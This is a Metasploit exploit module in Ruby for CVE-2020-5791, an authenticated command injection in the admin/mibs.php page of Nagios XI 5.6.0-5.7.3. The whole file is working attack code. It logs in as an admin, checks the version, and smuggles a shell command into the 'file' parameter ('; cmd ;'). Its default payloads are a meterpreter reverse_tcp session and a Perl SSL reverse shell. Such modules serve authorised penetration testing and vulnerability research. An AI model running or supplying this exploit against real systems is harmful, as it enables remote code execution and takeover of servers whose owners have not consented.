##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::NagiosXi
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nagios XI 5.6.0-5.7.3 - Mibs.php Authenticated Remote Code Exection',
        'Description' => %q{
          This module exploits CVE-2020-5791, an OS command injection vulnerability in
          `admin/mibs.php` that enables an authenticated user with admin privileges to achieve
          remote code execution as either the `apache` user or the `www-data` user on NagiosXI
          version 5.6.0 to 5.7.3 inclusive (exact user depends on the version of NagiosXI
          installed as well as the OS its installed on).

          Valid credentials for a Nagios XI admin user are required. This module has
          been successfully tested against Nagios XI 5.7.3 running on CentOS 7.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Chris Lyne', # discovery
            'Matthew Aberegg', # PoC
            'Erik Wynter' # @wyntererik - Metasploit
          ],
        'References' =>
          [
            ['CVE', '2020-5791'],
            ['EDB', '48959']
          ],
        'Platform' => %w[linux unix],
        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
        'Targets' =>
          [
            [
              'Linux (x86/x64)', {
                'Arch' => [ ARCH_X86, ARCH_X64 ],
                'Platform' => 'linux',
                'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
              }
            ],
            [
              'CMD', {
                'Arch' => [ ARCH_CMD ],
                'Platform' => 'unix',
                # the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl
                'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }
              }
            ]
          ],
        'Privileged' => false,
        'DisclosureDate' => '2020-10-20',
        'DefaultTarget' => 0,
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
            'Reliability' => [ REPEATABLE_SESSION ]
          }
      )
    )

    register_options [
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])
    ]
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def finish_install
    datastore['FINISH_INSTALL']
  end

  def check
    # Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns
    # an array containing the http response body of a get request to index.php and the session cookies
    login_result, res_array = nagios_xi_login(username, password, finish_install)
    case login_result
    when 1..3 # An error occurred
      return CheckCode::Unknown(res_array[0])
    when 4 # Nagios XI is not fully installed
      install_result = install_nagios_xi(password)
      if install_result
        return CheckCode::Unknown(install_result[1])
      end

      login_result, res_array = login_after_install_or_license(username, password, finish_install)
      case login_result
      when 1..3 # An error occurred
        return CheckCode::Unknown(res_array[0])
      when 4 # Nagios XI is still not fully installed
        return CheckCode::Detected('Failed to install Nagios XI on the target.')
      end
    end

    # when 5 is excluded from the case statement above to prevent having to use this code block twice.
    # Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.
    if login_result == 5 # the Nagios XI license agreement has not been signed
      auth_cookies, nsp = res_array
      sign_license_result = sign_license_agreement(auth_cookies, nsp)
      if sign_license_result
        return CheckCode::Unknown(sign_license_result[1])
      end

      login_result, res_array = login_after_install_or_license(username, password, finish_install)
      case login_result
      when 1..3
        return CheckCode::Unknown(res_array[0])
      when 5 # the Nagios XI license agreement still has not been signed
        return CheckCode::Detected('Failed to sign the license agreement.')
      end
    end

    print_good('Successfully authenticated to Nagios XI')

    # Obtain the Nagios XI version
    @auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already

    nagios_version = nagios_xi_version(res_array[0])
    if nagios_version.nil?
      return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
    end

    print_status("Target is Nagios XI with version #{nagios_version}")

    if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-h]/.match(nagios_version) || nagios_version == '5R1.0'
      nagios_version = '1.0.0' # Set to really old version as a placeholder. Basically we don't want to exploit these versions.
    end

    # check if the target is actually vulnerable
    version = Rex::Version.new(nagios_version)
    if version >= Rex::Version.new('5.6.0') && version <= Rex::Version.new('5.7.3')
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def execute_command(cmd, _opts = {})
    # execute payload
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'mibs.php'),
      'cookie' => @auth_cookies,
      'vars_get' =>
      {
        'mode' => 'undo-processing',
        'type' => '2',
        'file' => ";#{cmd};"
      }
    }, 0) # don't wait for a response from the target, otherwise the module will in most cases hang for a few seconds after executing the payload
  end

  def exploit
    if target.arch.first == ARCH_CMD
      print_status('Executing the payload')
      execute_command(payload.encoded)
    else
      execute_cmdstager(background: true)
    end
  end
end